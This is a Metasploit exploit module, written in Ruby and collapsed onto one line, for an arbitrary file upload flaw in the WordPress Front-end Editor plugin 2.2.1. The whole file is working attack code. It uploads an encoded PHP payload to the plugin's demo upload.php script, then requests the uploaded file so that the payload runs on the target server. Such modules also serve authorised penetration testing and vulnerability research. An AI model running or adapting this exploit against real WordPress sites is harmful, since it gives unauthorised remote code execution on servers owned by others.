## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::HTTP::Wordpress include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info( info, 'Name' => 'Wordpress Front-end Editor File Upload', 'Description' => %q{ The Wordpress Front-end Editor plugin contains an authenticated file upload vulnerability. We can upload arbitrary files to the upload folder, because the plugin also uses it's own file upload mechanism instead of the wordpress api it's possible to upload any file type. }, 'Author' => [ 'Sammy', # Vulnerability discovery 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['OSVDB', '83637'], ['WPVDB', '7569'], ['URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-front-end-editor-arbitrary-file-upload-vulnerability.html'] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [['Front-End Editor 2.2.1', {}]], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jul 04 2012')) end def check check_plugin_version_from_readme('front-end-editor', '2.3') end def exploit print_status("#{peer} - Trying to upload payload") filename = "#{rand_text_alpha_lower(5)}.php" print_status("#{peer} - Uploading payload") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(wordpress_url_plugins, 'front-end-editor', 'lib', 'aloha-editor', 'plugins', 'extra', 'draganddropfiles', 'demo', 'upload.php'), 'ctype' => 'application/octet-stream', 'headers' => { 'X-File-Name' => "#{filename}" }, 'data' => payload.encoded ) if res if res.code == 200 register_files_for_cleanup(filename) else fail_with(Failure::Unknown, "#{peer} - Unexpected response, exploit probably failed!") end else fail_with(Failure::Unknown, 'Server did not respond in an expected way') end print_status("#{peer} - Calling uploaded file #{filename}") send_request_cgi( { 'uri' => normalize_uri(wordpress_url_plugins, 'front-end-editor', 'lib', 'aloha-editor', 'plugins', 'extra', 'draganddropfiles', 'demo', "#{filename}") }, 5 ) end end